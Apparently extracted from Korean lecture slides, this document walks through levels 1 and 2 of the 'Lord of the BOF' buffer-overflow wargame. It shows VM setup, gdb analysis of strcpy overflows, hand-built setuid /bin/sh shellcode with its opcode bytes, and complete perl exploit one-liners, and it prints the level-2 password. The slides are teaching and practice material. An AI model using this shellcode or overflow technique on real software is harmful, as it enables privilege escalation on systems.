PowerPoint Template

Similar documents
02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

hlogin2

Deok9_Exploit Technique

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1

Smashing the Lord Of the Bof

Contents 1. 목적 풀이 gate

Computer Security Chapter 08. Format String 김동진 1 Secure Software Lab.

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG

The Lord of the BOF -The Fellowship of the BOF 풀이보고서 by phpmyadmin -Contents- 0x00 프롤로그

Microsoft Word - building the win32 shellcode 01.doc

Return-to-libc

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

Microsoft Word - readme.doc

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Microsoft PowerPoint - secu10.pptx

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

hlogin7

how_2_write_Exploit_4_the_MSF_v3.x.hwp

PowerPoint 프레젠테이션

취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] RedAlert Team_ 강동우

본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasplo

RTL

BOF Foundation.doc

<4D F736F F F696E74202D FC7C1B7CEBCBCBDBA20BBFDBCBAB0FA20BDC7C7E0205BC8A3C8AF20B8F0B5E55D>

2009년 상반기 사업계획

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

Microsoft PowerPoint - chap13-입출력라이브러리.pptx

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드

IT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다.

IDA 5.x Manual hwp

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

Microsoft Word - MSOffice_WPS_analysis.doc

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

Microsoft Word - FunctionCall

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode]

<52544CC0BB20BEC6B4C2B0A12E687770>

Linux Binary Hardening with Glibc Hyeonho Seo

취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환

No Slide Title

Contents 1. 목적 풀이 Level

PowerPoint 프레젠테이션

Microsoft Word - FreeBSD Shellcode 만들기.docx

Microsoft Word - GOM-StackOverFlow.doc

10.

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

슬라이드 1

$ret = ""; $socket = fsockopen(" ", 8888, $errno, $errstr, 100); fgets( $socket, 50); fgets( $socket, 50); $ret.= fgets( $socket, 50); $

<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A638C0CFC2F72E BC8A3C8AF20B8F0B5E55D>

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

강의10

Microsoft PowerPoint - hy2-12.pptx

vi 사용법

금오공대 컴퓨터공학전공 강의자료

Level 1. Trivial level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. level1]$ find / -user level2 2>/dev/null find / 최상위폴더부터찾겠다. -u

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit

Microsoft Word - MS_rshd_exploit.doc

simple ROP Exploit

KNK_C_05_Pointers_Arrays_structures_summary_v02

1.hwp

Microsoft PowerPoint - System Programming Lab Week1.ppt [호환 모드]

PowerPoint 프레젠테이션

Microsoft PowerPoint - 제9강 문자열

제1장 Unix란 무엇인가?

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

Fedora Core 3,4,5 stack overflow.docx

vi 사용법

Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugg

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

various tricks for remote linux exploits v3.pptx

Microsoft PowerPoint - chap03-변수와데이터형.pptx

ABC 11장

Microsoft Word - Static analysis of Shellcode.doc

6주차.key

Smashing The Stack For Fun And Profit by Aleph One

Execute_Shellcode_on_the_MacOSX.txt - 메모장

Sena Technologies, Inc. HelloDevice Super 1.1.0

PowerPoint 프레젠테이션

untitled

BufferOverflow on Solaris Sparc

Microsoft PowerPoint - chap10-함수의활용.pptx

BMP 파일 처리

History

PowerPoint 프레젠테이션

기술문서 LD_PRELOAD 와공유라이브러리를사용한 libc 함수후킹 정지훈

Microsoft Word - ExecutionStack

Microsoft Word - SEH_Overwrites_Simplified.doc

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

Microsoft Word - Reversing Engineering Code with IDA Pro-4-1.doc

Microsoft Word - Heap_Spray.doc

PowerPoint 프레젠테이션

Transcription:

BoF 원정대서비스

목차 환경구성 http://www.hackerschool.org/hs_boards/zboard.php?id=hs_notice&no=1170881885 전용게시판 http://www.hackerschool.org/hs_boards/zboard.php?id=bof_fellowship Putty War game 2

LOB 란? 해커스쿨에서제공하는 Buffer Overflow 공격문제 총 20 문제 문제의형태 seteuid 가걸려있는파일과.c 소스를이용해취약점을찾고, 그취약점을이용한 exploit 을통해권한상승후 /bin/my-pass 의 password 를획득하는문제이다. 3

환경구성 vmplayer 설치 http://www.vmware.com/products/player/playerpro-evaluation.html 4

환경구성 LOB vmx 파일다운로드 http://hackerschool.org/thelordofbof/thelordofthebof_redhat_bootable.zip https://drive.google.com/file/d/0b_tncsczwm6tszbidvhctvfrmms/view 5

환경구성 putty 다운로드 http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html 6

설치방법 vmplayer 를실행한후에 vmx 파일을열어준다. 7

실행방법 I copied를클릭 id: gate / pw : gate 입력 쉘에서 /sbin/ifconfig 입력 putty에 ip주소를입력하고 Telnet으로접속 (Port 23) gate / gate를입력후문제풀이시작 8

기본적인실행환경셋팅 실행 1 2 3 4 9

기본적인실행환경셋팅 실행화면 login : gate password : gate 10

LEVEL UP CHALLENGE LEVEL 1 & 2 11

Levels LEVEL1 (gate -> gremlin) : simple bof LEVEL2 (gremlin -> cobolt) : small buffer LEVEL3 (cobolt -> goblin) : small buffer + stdin LEVEL4 (goblin -> orc) : egghunter LEVEL5 (orc -> wolfman) : egghunter + bufferhunter LEVEL6 (wolfman -> darkelf) : check length of argv[1] + egghunter + bufferhunter LEVEL7 (darkelf -> orge) : check argv[0] LEVEL8 (orge -> troll) : check argc LEVEL9 (troll -> vampire) : check 0xbfff LEVEL10 (vampire -> skeleton) : argv hunter LEVEL11 (skeleton -> golem) : stack destroyer LEVEL12 (golem -> darkknight) : sfp LEVEL13 (darkknight -> bugbear) : RTL1 LEVEL14 (bugbear -> giant) : RTL2, only execve LEVEL15 (giant -> assassin) : no stack, no RTL LEVEL16 (assassin -> zombie_assassin) : fake ebp LEVEL17 (zombie_assassin -> succubus) : function calls LEVEL18 (succubus -> nightmare) : plt LEVEL19 (nightmare -> xavis) : fgets + destroyers LEVEL20 (xavis -> death_knight) : remote BOF 12

풀이방법.c 소스파일을 /tmp/ 경로로복사한후, gcc g 옵션을통해 gdb 를사용가능하게컴파일해준다. gdb 를이용하여 breakpoint 를설정해주면서테스트를진행한다. 13

1 번문제풀이 파일확인 소스코드 gremlin.c, 실행파일 gremlin 존재 HINT gremlin.c는소유자가 gate로되어있음 gremli은소유자가 gremlin으로되어있고, setuid가설정되어있음 gremlin.c의소스코드상의취약점을찾고, 이취약점을이용하여 gremlin 권한을획득하여야함 14

1 번문제풀이 소스코드확인 (gremlin.c) // 256 byte 버퍼생성 // 인자값을 buffer 에복사 // buffer 내용출력 주석을확인하면 BoF 와관련됨을확인 strcpy() 함수의취약점을이용하는문제 strcpy 는복사하려는 Data 의크기를체크하지않는문제를내포하고있음 15

1 번문제풀이 취약점원리 (strcpy() 의취약성 ) - 정상 char buffer[256] data srtcpy(buffer, data) data strcpy(buffer, data) : buffer 에 data 가복사됨 16

1 번문제풀이 취약점원리 (strcpy() 의취약성 ) - 취약 char buffer[256] data srtcpy(buffer, data) data strcpy() 는 data 의크기를체크하지않기때문에, buffer 가설정한영역외에다른영역도 data 의내용으로채울수있음 17

1 번문제풀이 문제해결개요 (1/3) 디버깅과정 argc 디버깅으로스택구조를알아야함 RET previous sfp 프로그램실행 (./gremlin arg) char buffer[256] strcpy(buffer, arg) buffer 주소, sfp 주소, RET 주소를디버깅을통해서알아냄 18

1 번문제풀이 문제해결개요 (1/3) 디버깅과정 파일을 /tmp 에복사 bash2 실행 / 컴파일 / gdb 동작 19

1 번문제풀이 문제해결개요 (1/3) 디버깅과정 disassemble main (gdb) disas main ret(4byte) sfp(4byte) buffer[255] buffer[0] 20

1 번문제풀이 문제해결개요 (1/3) 디버깅과정 disassemble main (gdb) disas main break point 설정 / $esp 출력으로 buffer 주소확인 : 0x0xbffff968 21

1 번문제풀이 문제해결개요 (2/3) strcpy 취약성이용 RET dummy 프로그램실행 (./gremlin arg) char buffer[256] payload strcpy(buffer, arg) buffer~ret 까지의스택크기만큼 payload 를 strcpy 를통해서복사 22

1 번문제풀이 문제해결개요 (3/3) payload 구성 / 실행 구성 실행순서 버퍼의주소 dummy 버퍼의주소 dummy 1 1 nop 의임의의지점으로 jmp 2 nop 이기때문에스택의상위로이동 payload shell code payload 3 shell code 3 shell code 실행 nop nop 2 RET address 를버퍼의주소로덮어쓰기 이경우, payload 의최소크기는? bytes 23

1 번문제풀이 문제해결개요 (3/3) payload 구성 / 실행 구성 payload 버퍼의주소 dummy shell code nop payload 시작주소 ~shellcode 시작주소사이 0x90 * 19 쉘코드 41byte 0x90 * 200 쉘코드는인터넷에서획득 or 제작가능 "\x90"x200, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\x cd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x 89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80", "\x90"x19, "\x90\xf9\xff\xbf"'` 24

1 번문제풀이 Shellcode 제작 환경 : LOB 실습이미지 (redhat-6.2, 32bit) 순서 C언어로제작할 shellcode 프로토타입작성 C언어작성 C언어를기반으로함수의사용법확인 ( 해당함수의시스템콜번호확인 ) 어셈블리어코드작성 실행파일생성 objdump를이용해 OP CODE 추출 null문자제거후쉘코드생성및정상작동확인 25

1 번문제풀이 Shellcode 제작 C 언어로제작할 shellcode 프로토타입작성 C 언어작성 C 언어를기반으로함수의사용법확인 <C 언어작성 > 프로그램 uid 권한으로 uid 설정쉘을실행하는프로그램 < 컴파일 / 실행확인 > 26 execve 프로그램실행함수 detail: #include <unistd.h> int execve (const char *filename, char *const argv[], char *const envp[]); 시스템콜번호 : 11 번 setreuid 실제혹은유효사용자 ID 설정 detail: #include <unistd.h> int setreuid(uid_t ruid, uid_t euid); int seteuid(uid_t euid); 시스템콜번호 : 70 번 getreuid 사용자식별자 (identity) 를알아냄 리턴값은현재프로세스의 uid 값 detail: #include <unistd.h> #include <sys/types.h> int getuid(void) intgeteuid(void) 시스템콜번호 : 49 번

1 번문제풀이 Shellcode 제작 어셈블리어코드작성.global_start _start: xor %eax, %eax # eax 레지스터를 0으로초기화 mov $0x31, %eax # 0x31-> geteuid 시스템콜번호 (49) eax에저장 int $0x80 # 인터럽트호출 mov %eax, %ebx # setreuid의첫번째인자값으로 ebx에저장 mov %eax, %ecx # setreuid의두번째인자값으로 ecx에저장 xor %eax, %eax # eax 레지스터초기화 mov $0x46, %eax # 0x46-> setreuid 시스템콜번호 (70) eax에저장 int $0x80 # 인터럽트호출 push $0x0 # NULL(0) 으로문자열의끝표시 push $0x68732f2f # //sh 문자열푸시 # 16진수로바꿔보면 -> 104 115 47 47 -> 아스키코드값으로보면 h s / / # 어셈블리어에서문자열을처리하는단위가 4바이트이기때문에 8바이트로맞추기위해 # //sh 이런식으로표현 push $0x6e69622f # /bin 문자열푸시 # 16진수로바꿔보면 -> 110 105 98 47 -> 아스키코드값으로보면 n i b / mov %esp, %ebx # /bin//sh 의주소를 ebx에저장 (execve 첫번째인자 ) push $0x0 # NULL(0) 으로문자열의끝표시 push %ebx # /bin/sh 의주소를푸시 mov %esp, %ecx # /bin//sh 의주소를 ecx에저장 (execve 두번째인자 ) mov $0x0, %edx # NULL(0) 값을 edx에저장 (execve 세번째인자 ) xor %eax, %eax # eax 레지스터초기화 mov $0xb, %eax # 0xb-> execve 시스템콜번호 (11) eax에저장 int $0x80 # 인터럽트호출 27

1 번문제풀이 Shellcode 제작 실행파일생성 28

1 번문제풀이 Shellcode 제작 objdump 를이용해 OP CODE 추출 기계어코드를그대로사용할경우 \x00 을문자열의끝 (NULL) 로인식하기때문에 \x00 값을지워주어야함 \x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc 1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x 68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\ x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0 b\xcd\x80 29

1 번문제풀이 Shellcode 제작 null 문자제거후쉘코드생성및정상작동확인 shellcode 모음사이트 : http://shell-storm.org/shellcode/ 30

1 번문제풀이 문제해결개요 (3/3) payload 구성 / 실행./gremlin `perl -e 'print "\x90"x200, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\ x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x8 0", "\x90"x19,"\x90\xf9\xff\xbf"'` 2 번문제 ID : gremlin password : hello bof world 31

1 번문제의특징 ( 과제관련 ) 공격대상프로그램 (gremlin.c) 에버퍼오버플로우취약점을가진 strcpy 가사용됨 실행파일 gremlin 은 setuid 비트가설정되어있고, 누구나실행가능한 permission 을가지고있음 스택에 RET 주소가존재 버퍼가지역변수로선언 ( 버퍼가스택에존재 ) 스택은높은주소에서낮은주소로성장 RET 보다버퍼가낮은주소에위치함 버퍼가넘치면서 RET 주소를변경할수있음 버퍼의크기가 shellcode 를포함할수있을정도로크기가큼 버퍼의주소 ( 또는 shellcode 의주소 ) 를디버깅을통해분석가능 스택에있는 shellcode 가실행가능함 Shellcode 가 41 bytes 라고할경우, 최소 payload 의크기는? 그이유는? 32

기본적인실행환경셋팅 실행화면 login : gremlin password : hello bof world 33

2 번문제풀이 파일확인 소스코드 cobolt.c, 실행파일 cobolt 존재 HINT gremlin.c는소유자가 gremlin로되어있음 cobolt는소유자가 cobolt로되어있고, setuid가설정되어있음 cobolts.c의소스코드상의취약점을찾고, 이취약점을이용하여 cobolt 권한을획득하여야함 34

2 번문제풀이 소스코드확인 (cobolt.c) // 16 byte 버퍼생성 // 인자값을 buffer에복사 // buffer 내용출력 1 번문제와유사 35

2 번문제풀이 문제해결개요 (1/3) 디버깅과정 파일을 /tmp 에복사 컴파일 / gdb 동작 36

2 번문제풀이 문제해결개요 (1/3) 디버깅과정 disassemble main (gdb) disas main argv argc ret sfp buffer 16 byte 37

2 번문제풀이 문제해결개요 (2/3) strcpy 취약성이용 argv argc 프로그램실행 (./cobolt arg1 arg2) RET sfp buffer strcpy(buffer, arg) buffer~argv 까지의스택크기만큼 payload 를 strcpy 를통해서복사 38

2 번문제풀이 문제해결개요 (2/3) strcpy 취약성이용 argv payload argc 프로그램실행 (./cobolt arg1 arg2) RET sfp buffer strcpy(buffer, arg) buffer~argv 까지의스택크기만큼 payload 를 strcpy 를통해서복사 39

2 번문제풀이 문제해결개요 (3/3) payload 구성 / 실행 구성 실행순서 argv argc RET payload shell code nop argc의주소 3 shell code 2 nop argc의주소 1 1 nop 의임의의지점으로 jmp 2 nop 이기때문에스택의상위로이동 3 shell code 실행 sfp buffer dummy dummy 40

2 번문제풀이 문제해결개요 (3/3) payload 구성 / 실행 구성 shellcode nop argc 의주소 쉘코드 41byte 0x90 * 19 argc 주소 ~shellcode 시작주소사이값으로덮어씀 dummy A * 20 본래 RET addr 을 argc 의주소또는 shellcode 주소로대체 쉘코드의시작주소를정확하게알수있으면, 0x90*19 는불필요 이경우, payload 의크기는? 41

2 번문제풀이 문제해결개요 (3/3) ret 주소, argv 주소획득 42

2 번문제풀이 문제해결개요 (3/3) ret 주소, 빈공간획득 ret 주소 : 0xbffffa54 argv[2] : 0xbffffa59 43

2 번문제풀이 문제해결개요 (3/3) payload 구성 / 실행./cobolt `perl -e 'print "A"x20, "\xd8\xfb\xff\xbf"'` `perl -e'print "\x90"x200, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\ x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x8 0"'` level 3 id, password 44

2 번문제의특징 /1 번문제와공통점및차이점 ( 과제관련 ) 특징 공격대상프로그램 (cobolt.c) 에버퍼오버플로우취약점을가진 strcpy 가사용됨 실행파일 cobolt 는 setuid 비트가설정되어있고, 누구나실행가능한 permission 을가지고있음 공통점 ( 또는유사점 ) 스택에 RET 주소가존재 버퍼가지역변수로선언 ( 버퍼가스택에존재 ) 스택은높은주소에서낮은주소로성장 RET 보다버퍼가낮은주소에위치함 버퍼가넘치면서 RET 주소를변경할수있음 스택에있는 shellcode 가실행가능함 shellcode 가위치하는주소를분석가능 차이점 버퍼의크기가작아 shellcode 를포함할수없음 shellcode 를버퍼에위치할수없음 shellcode 가 41bytes 라고할경우, 최소 payload 의크기는? 그이유는? 45